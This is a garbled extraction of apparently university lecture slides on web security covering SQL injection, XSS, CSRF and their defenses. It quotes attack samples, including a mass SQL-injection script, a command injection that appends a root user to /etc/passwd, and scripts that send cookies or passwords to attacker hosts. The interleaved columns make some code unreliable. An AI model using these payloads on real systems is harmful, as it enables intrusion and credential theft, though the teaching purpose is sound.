Web Tutor
Web Tutor
Web Tutor
WS1
Firewall
Firewall
Application
Load
Firewall WS2 App
Balancer DB
(WAF) Servers
WS3
John Mitchell
IDS
Authorization
Netegrity (CA)
Oblix (Oracle)
1 2
Interacts with the database and 3rd parties. Bad input checking leads to malicious SQL query
Sans
Prepares results for users (via web server) Top XSS – Cross-site scripting
10
Bad
B d web b site
it sends
d innocent
i t victim
i ti a script
i t that
th t
Examples:
steals information from an honest web site
Shopping carts, home banking, bill pay, tax prep, …
CSRF – Cross-site request forgery
New code written for every web site.
Bad web site sends request to good web site, using
Written in: credentials of an innocent victim who “visits” site
C, PHP, Perl, Python, JSP, ASP, … Other problems
Often written with little consideration for security HTTP response splitting, site redirects, …
3 4
index.php
5 6
1
PHP: Hypertext Preprocessor SQL
Server scripting language with C-like syntax Widely used database query language
Can intermingle static HTML and code Fetch a set of records
<input value=<?php echo $myvalue; ?>> SELECT * FROM Person WHERE Username=‘grader’
Can embed variables in double-quote
double quote strings Add data to the table
$user = “world”; echo “Hello $user!”; INSERT INTO Person (Username, Zoobars)
or $user = “world”; echo “Hello” . $user . “!”; VALUES (‘grader’, 10)
7 8
$recipient = $_POST[‘recipient’];
1
$sql = "SELECT PersonID FROM Person WHERE
Username='$recipient'";
2
$ = $db->executeQuery($sql);
$rs $db t Q ($ l)
unintended
Problem 3 receive valuable data query
Attacker
What if ‘recipient’ is malicious string that
Victim SQL DB
9 10
The Attack
263,000 credit card #s stolen from database
credit card #s stored unencrypted
43 million credit card #s exposed
11
2
Main steps in this attack Part of the SQL attack string
DECLARE @T varchar(255),@C varchar(255)
Use Google to find sites using a particular ASP style
DECLARE Table_Cursor CURSOR
vulnerable to SQL injection FOR select a.name,b.name from sysobjects a,syscolumns b where
Use SQL injection on these sites to modify the page to a.id=b.id and a.xtype='u' and
include a link to a Chinese site nihaorr1.com (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
Don
Don'tt visit this site yourself! OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
The site (nihaorr1.com) serves JavaScript that exploits WHILE(@@FETCH_STATUS=0) BEGIN
vulnerabilities in IE, RealPlayer, QQ Instant Messenger exec('update ['+@T+'] set
['+@C+']=rtrim(convert(varchar,['+@C+']))+'‘ ''')
Steps (1) and (2) are automated in a tool that can be configured to FETCH NEXT FROM Table_Cursor INTO @T,@C
inject whatever you like into vulnerable sites END CLOSE Table_Cursor
There is some evidence that hackers may get paid for each visit to DEALLOCATE Table_Cursor;
nihaorr1.com DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(
%20AS%20NVARCHAR(4000));EXEC(@S);--
13 14
Enter
Username
& SELECT passwd
Web Password FROM USERS
Web WHERE uname
Browser DB
Server IS ‘$username’
(Client)
15
17
3
What is SQL Injection? SQL Injection Examples
Input Validation Vulnerability
Untrusted user input in SQL query sent to back-end
View pizza order history:<br>
<form method="post" action="...">
database without sanitizing the data Month
<select>
<option name="month" value="1">Jan</option>
Specific case of more general command injection ...
Inserting untrusted input into a query or command <option name="month" value="12">Dec</option>
</select>
Year
Why is this Bad? <p>
<input type=submit name=submit value=View>
Data can be misinterpreted as a command </form>
Can alter the intended effect of command or query
19 20
Type 2 F order_month
For d h parameter,
t attacker
tt k could
ld iinputt
Attack
WHERE condition
0 OR 1=1 is always true!
Gives attacker access
to other users’
Malicious … private data!
Query WHERE userid=4123
AND order_month=0 OR 1=1
21 22
Attacker is able to
Combine the results of two queries
23 24
4
More Attacks Second-Order SQL Injection
• Create new users: Second-Order SQL Injection: attack where data
‘; INSERT INTO USERS (‘uname’,’passwd’, stored in database is later used to conduct SQL
‘salt’) VALUES (‘hacker’,’38a74f’, 3234); injection
26
28
29
5
Parameterized SQL Mitigating Impacts
Build SQL queries by properly escaping args: ′ → \′ Prevent Schema & Information Leaks
Example: Parameterized SQL: (ASP.NET 1.1)
Ensures SQL arguments are properly escaped. Limit Privileges (Defense-in-Depth)
SqlCommand cmd = new SqlCommand(
"SELECT * FROM UserTable WHERE Encrypt
E tSSensitive
iti D Data
t stored
t d iin D
Database
t b
username = @User AND
password = @Pwd", dbConnection);
Harden DB Server and Host OS
cmd.Parameters.Add("@User", Request[“user”] );
cmd.Parameters.Add("@Pwd", Request[“pwd”] ); Apply Input Validation
cmd.ExecuteReader();
31 32
OR
http://yourdomain.com/mail.pl?
[email protected]&subject=foo;
echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; ls
2
Example: search field
5 http://victim.com/search.php ? term = apple
Is this exploitable?
36
6
Bad input Attack Server
“http://badguy.com?cookie = ” +
Victim client
document.cookie
document cookie ) </script>
What if user clicks on this link?
1. Browser goes to victim.com/search.php Victim Server
www.victim.com
2. Victim.com returns <html>
<HTML> Results for <script> … Results for
</script> <script>
window.open(http://attacker.com?
3. Browser executes script: ... document.cookie ...)
Sends badguy.com cookie for victim.com </script>
37 </html>
39 40
7
2006 Example Vulnerability Adobe PDF viewer “feature”
(version <= 7.9)
Source: http://www.acunetix.com/news/paypal.htm
http://jeremiahgrossman.blogspot.com/2007/01/what-you-need-to-know-about-uxss-in.html
Here’s how the attack works: And if that doesn’t bother you...
Attacker locates a PDF file hosted on website.com PDF files on the local filesystem:
Attacker creates a URL pointing to the PDF, with
JavaScript Malware in the fragment portion file:///C:/Program%20Files/Adobe/Acrobat%2
http://website.com/path/to/file.pdf#s=javascript:alert(”xss”);) 07.0/Resource/ENUtxt.pdf#blah=javascript:al
Attacker entices a victim to click on the link
ert("XSS");
If the victim has Adobe Acrobat Reader Plugin 7.0.x or
less, confirmed in Firefox and Internet Explorer, the JavaScript Malware now runs in local context
JavaScript Malware executes with the ability to read local files ...
1
5
I j t
Inject
Storemalicious
bad stuff
User Victim User Victim script
Send bad stuff
8
MySpace.com (Samy worm) Stored XSS using images
Users can post HTML on their pages Suppose pic.jpg on web server contains HTML !
MySpace.com ensures HTML contains no request for http://site.com/pic.jpg results in:
<script>, <body>, onclick, <a href=javascript://>
HTTP/1.1 200 OK
p within CSS tags:
… but can do Javascript g …
<div style=“background:url(‘javascript:alert(1)’)”> Content-Type: image/jpeg
And can hide “javascript” as “java\nscript” <html> fooled ya </html>
With careful javascript hacking: IE will render this as HTML (despite Content-Type)
2
5
User Victim
Server Victim
Strangely, this is
not the cover of
the book ...
9
How to Protect Yourself (OWASP) Input data validation and filtering
The best way to protect against XSS attacks: Never trust client-side data
Ensure that your app validates all headers, cookies, query
strings, form fields, and hidden fields (i.e., all parameters) Best: allow only what you expect
against a rigorous specification of what should be allowed.
Do not attempt to identify active content and remove, filter,
Remove/encode special characters
or sanitize
i i it.
i There
Th are too many types off activei content Many encodings,
M di special
i l chars!
h !
and too many ways of encoding it to get around filters for
such content. E.g., long (non-standard) UTF-8 encodings
We strongly recommend a ‘positive’ security policy that
specifies what is allowed. ‘Negative’ or attack signature
based policies are difficult to maintain and are likely to be
incomplete.
http://msdn.microsoft.com/en-us/library/aa973813.aspx
10
Select input encoding method Analyze application
Encoding Method Should Be Used If … Example/Pattern Use Case Scenario Input Scenario Output Requires Encoding
Scenario Inputs Trusted? Outputs Contains Encoding Method to
HtmlEncode Untrusted input is used in HTML output <a Untrusted Use
except when assigning to an HTML href="http://www.contoso.com">Click
attribute. Here [Untrusted input]</a> Input?
HtmlAttributeEncode Untrusted input is used as an HTML <hr noshade size=[Untrusted input]> User adds User name, No Bookmark Yes No (output
attribute bookmark Description, written to written to
JavaScriptEncode Untrusted input is used within a <script type="text/javascript"> … Bookmark file file not Web
JavaScript context [Untrusted input] response)
…
</script> Application User name No Thank you Yes Yes HtmlEncode
UrlEncode Untrusted input is used in a URL (such <a thanks user message
as a value in a querystring) href="http://search.msn.com/results.asp page
x?q=[Untrusted-input]">Click
Here!</a>
User resets Button click Yes None N/A N/A
XmlEncode Untrusted input is used in XML output, <xml_tag>[Untrusted input]</xml_tag>
bookmark event
except when assigning to an XML file
attribute
XmlAttributeEncode Untrusted input is used as an XML <xml_tag attribute=[Untrusted
attribute input]>Some Text</xml_tag>
BookmarkLink
- input
validation.
htmlspecialchars(
"<a href='test'>Test</a>", ENT_QUOTES);
Outputs:
<a href='test'>Test</a>
ASP.NET 1.1:
Server.HtmlEncode(string)
Similar to PHP htmlspecialchars
See http://us3.php.net/htmlspecialchars
11
Caution: Scripts not only in <script>! Problems with filters
JavaScript as scheme in URI Suppose a filter removes <script
<img src=“javascript:alert(document.cookie);”>
Good case
JavaScript On{event} attributes (handlers)
OnSubmit, OnError, OnLoad, … <script src=“ ...” → src=“...”
Typical use:
<img src=“none” OnError=“alert(document.cookie)”> But then
<iframe src=`https://bank.com/login` onload=`steal()`> <scr<scriptipt src=“ ...” → <script src=“ ...”
<form> action="logon.jsp" method="post"
onsubmit="hackImg=new Image;
hackImg.src='http://www.digicrime.com/'+document.for
ms(1).login.value'+':'+
document.forms(1).password.value;" </form>
12
IE 8 XSS Filter Points to remember
What can you do at the client? Key concepts
Whitelisting vs. blacklisting
Output encoding vs. input sanitization
Attack Server Sanitizing before or after storing in database
Dynamic
y a c versus
e sus static
stat c de
defense
e se tec
techniques
ques
5 Good ideas
Static analysis (e.g. ASP.NET has support for this)
User Victim Taint tracking
Server Victim
Framework support
Continuous testing
Bad ideas
Blacklisting
Manual sanitization
http://blogs.msdn.com/ie/archive/2008/07/01/ie8-security-part-iv-the-xss-filter.aspx
Problem:
cookie auth is insufficient when side effects can occur
Q: how long do you stay logged on to Gmail?
77
13
Example: Home Router Attack on Home Router
[SRJ’07]
Fact:
Home router 50% of home users use a broadband router with a
default or no password
1
Drive-by Pharming attack: User visits malicious site
JavaScript at site scans home network looking for
4
broadband router:
2 • SOP allows “send only” messages
3 • Detect success using onerror:
User Bad web site <IMG SRC=192.168.0.1 onError = do() >
Once found, login to router and change DNS server
Problem: “send-only” access is sufficient to reprogram
79 router
80
82
Cross-site HTTP
Same-site HTTP
Ad Network A
Cross-site TLS Ad Network B
Same-site TLS
0 2 4 6 8 10 12
14
Referer header filtering CSRF Recommendations
Login CSRF
Strict Referer validation
Login forms typically submit over HTTPS, not blocked
HTTPS sites, such as banking sites
Use strict Referer validation to protect against CSRF
Other
Use Ruby-on-Rails or other framework that implements
secret token method correctly
Future
Alternative to Referer with fewer privacy problems
Send only on POST, send only necessary data
86
Is this exploitable?
88
HTTP/1.1 200 OK
Spoofed page ” (URL encoded) Content-length: 217
Spoofed page
89 90
15
So what? Redirects
What just happened: EZShopper.com shopping cart (10/2004):
Attacker submitted bad URL to victim.com http://…/cgi-bin/ loadpage.cgi ? page=url
URL contained spoofed page in it Redirects browser to url
Got back spoofed page
Redirects are common on manyy sites
Used to track when user clicks on external link
So what?
EZShopper uses redirect to add HTTP headers
Cache servers along path now store spoof of
Defense: don’t do that (use URL encoding…) Link to victim.com puts user at phisher.com
⇒ Local redirects should ensure target URL is local
91 92
Link displayed
https://www.start.earthlink.net/track?billing.asp
Actual link in html email
source:https://start.earthlink.net/track?id=101fe8439
p // /
8a866372f999c983d8973e77438a993847183bca43d7
ad47e99219a907871c773400b8328898787762c&url=
http://202.69.39.30/snkee/billing.htm?session_id=84
95...
Website resolved to
http://202.69.39.30/snkee/billing.htm?session_id=84
95...
• Cookie
C ki poisoning
i i
Sample products:
Imperva
Kavado Interdo
F5 TrafficShield
Citrix NetScaler
CheckPoint Web Intel
96
16
Code checking Summary
Blackbox security testing services: SQL Injection
Whitehatsec.com Bad input checking allows malicious SQL query
97
tools, application development recommendations
99
17